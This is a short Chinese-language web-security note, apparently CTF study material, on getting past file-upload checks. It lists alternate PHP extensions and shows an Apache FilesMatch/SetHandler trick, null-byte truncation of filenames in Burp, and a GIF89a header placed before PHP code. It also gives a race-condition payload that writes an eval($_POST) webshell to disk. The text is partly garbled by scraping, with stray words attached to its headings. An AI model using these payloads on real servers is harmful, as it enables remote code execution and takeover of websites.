目錄javascript
兩種校驗方式php
繞過方法html
用bp抓包後直接改後綴名java
MIME類型在html文件中使用content-type
屬性表示linux
if($_FILES["upfile"]["type"]!="image/gif"){ echo "只容許上傳圖片"; exit; }
php、php三、php四、php五、php七、pht、phtml、phps
/etc/apache2/apache2.conf
,默認是NONE,須要爲ALL<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMacth>
name = getname(http request)//假如這時候獲取到的文件名是test.asp.jpg(asp後面爲0x00) type = gettype(name)//而在gettype()函數裏處理方式是從後往前掃描擴展名,因此判斷爲jpg if(type==jpg) SaveFileToPath(UploadPath.name,name)在第一個後綴名後加一個空格(0x20),使用bp->repeater->hex,將其改爲0x00
繞過方法
在惡意腳本前加上容許上傳文件的頭標識
web
GIF89a <?php phpinfo(); ?>
<?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?>
用bp同時上傳和訪問